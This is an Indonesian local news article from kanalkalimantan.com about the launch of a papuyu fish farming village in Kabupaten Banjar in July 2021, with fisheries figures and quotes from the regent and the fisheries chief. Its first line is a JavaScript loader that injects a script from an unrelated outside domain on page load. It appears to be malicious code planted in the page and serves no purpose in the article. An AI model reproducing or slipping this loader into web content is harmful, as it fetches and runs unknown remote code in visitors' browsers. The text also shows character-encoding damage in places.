(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Perikanan di Kabupaten Banjar merupakan salah satu sektor unggulan yang mampu menopang pertumbuhan ekonomi. Data statistik menunjukkan bahwa rata-rata pertumbuhan ekonomi sektor perikanan kurun waktu tahun 2000 hingga 2019 mencapai 4,58%.
Data tersebt disampaikan Bupati Banjar H Saidi Mansyur saat temu koordinasi budidaya ikan lokal sekaligus mencanangkan kawasan Kampung Budidaya Ikan Papuyu di Desa Karang Intan, Kecamatan Karang Intan, Kabupaten Banjar, Kamis (1/7/2021) siang.
Saidi Mansyur mengatakan, pengembangan budidaya ikan lokal dan pencanangan kawasan Kampung Budidaya Ikan Papuyu di Kabupaten Banjar merupakan salah satu titik awal pembangunan perikanan sebagai salah satu pusat pertumbuhan ekonomi.
Baca juga:Â WO dari Kongres X BEM se Kalimantan, Ini Pernyataan Sikap BEM se Kalsel
“Sektor perikanan ini dapat menjadi pembangunan ekonomi yang inklusif, mampu berperan dalam pemulihan ekonomi, penciptaan lapangan pekerjaan, pengentasan kemiskinan di Kabupaten Banjar,†ujar H Saidi.
Sementara itu, Kepala Dinas Perikanan Kabupaten Banjar, Riza Dauly mengungkapkan, budidaya iwak papuyu ini merupaka percepatan transformasi di sektor perikanan yang merupakan bagian dari pengembangan pusat pertumbuhan ekonomi di Kabupaten Banjar.
“Saat ini teridentifikasi hanya 54 pembudidaya pengembangan budidaya ikan lokal. Terdiri dari 23 pembudidaya pembesaran, 10 pembudidaya perbenihan, dan 21 pembudidaya perbenihan sekaligus pembesaranya, dengan total lahan kurang lebih 14 hektare,†jelasnya.
Riza menambahkan untuk produksi rata-rata 5.000 ekor per bulan, dengan jumlah kurang lebih 1 ton per bulan.
Baca juga: Video Menteri ‘Tenggelamkan Saja’ Akui 8 Karyawan Kena Covid-19
Masih menurutnya, harga sangat bersaing, untuk grade 1 bisa mencapai Rp 80.000 per kilogram, grade 2 seharga Rp. 40.000 per kilogram dan grade 3 dengan harga 25.000 per kilogram.
Saat pencanangan kampung budidaya ikan papuyu, diserahkan benih dan indukan kepada 1.300 pembudidaya ikan yang terdampak banjir besar awal tahun lalu.
“Kurang lebih 1 juta ekor bantuan langsung dari Kementerian Kelautan dan Perikanan, seperti nila, patin, lele dan papuyu sesuai dengan komoditas unggulan di sektor perikanan,†kata Riza Dauly. (kanalkalimantan.com/mckominfo/yuda)
Reporter : yuda
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.